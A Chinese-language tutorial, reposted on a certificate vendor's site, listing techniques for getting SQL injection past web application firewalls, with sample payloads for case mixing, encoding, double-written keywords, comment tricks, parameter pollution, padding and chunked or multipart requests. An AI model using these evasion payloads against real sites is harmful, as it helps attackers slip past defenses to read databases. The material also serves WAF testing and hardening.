首页>最新数字证书问答>干货|WAF绕过思路+知识点

干货|WAF绕过思路+知识点

WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。

关键词大小写绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过.

举列:union select ---> unIOn SeLEcT

编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

举列:union select 1,2,3# =union%0aselect 1\u002c2,3%23

双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

举列:UNIunionON ,SELselectECT anandd

换行(\N)绕过

举列:select * from admin where username = \N union select 1,user() from admin

注释符内联注释绕过:

/XXX/,#, -- -,--+, ;

union selecte =/!union/ select

同义词替换

and=&&

or=||

=(等于号)=<、>

空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

注:%0a是换行也可以替代空格

HTTP参污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举列:?id=1&id=2&id=3

垃圾参数

WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。此时可以向HTTP POST添加填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。

POST请求:

举列:a=AAAAAA*[很多个A] &id=1 order by X[1-3]

组合绕过

将以上所学习的知识点结合在一起,这样能大幅提高绕过WAF的可能性.

举列:id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /!information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()– -

分块传输

在burp中关闭自动补全,删掉Content-Length: 37,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。

干货|WAF绕过思路+知识点 第1张

如果这样依旧被拦截可以在每分块后面加上;注释,尝试绕过

干货|WAF绕过思路+知识点 第2张

协议未覆盖

将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行,可以直接使用Burp中的change body encoding来更改数据格式,进行绕过.

干货|WAF绕过思路+知识点 第3张

总结

WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述我所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性。

文章来源:HACK之道

最新资讯

为什么要停止使用RSA密钥交换?

什么是DNS-over-HTTPS.是如何工作的?

Apple macOS操作系统中存在三个致命漏洞

"此网站提供的安全证书不安全"的解决方法

Chrome浏览器中出现“安全连接”错误,该如何解决?

标签推荐:数字证书申请 | ssl证书验证失败 | https证书申请| 数字签名技术| 电子签名软件| ssl证书更新| 小程序证书| ca认证电子签名| 个人代码签名| 微软代码签名| 泛域名证书| java代码签名| 代码签名证书| https证书配置| PKI技术知识| SQL注入| openssl漏洞| 识别钓鱼网站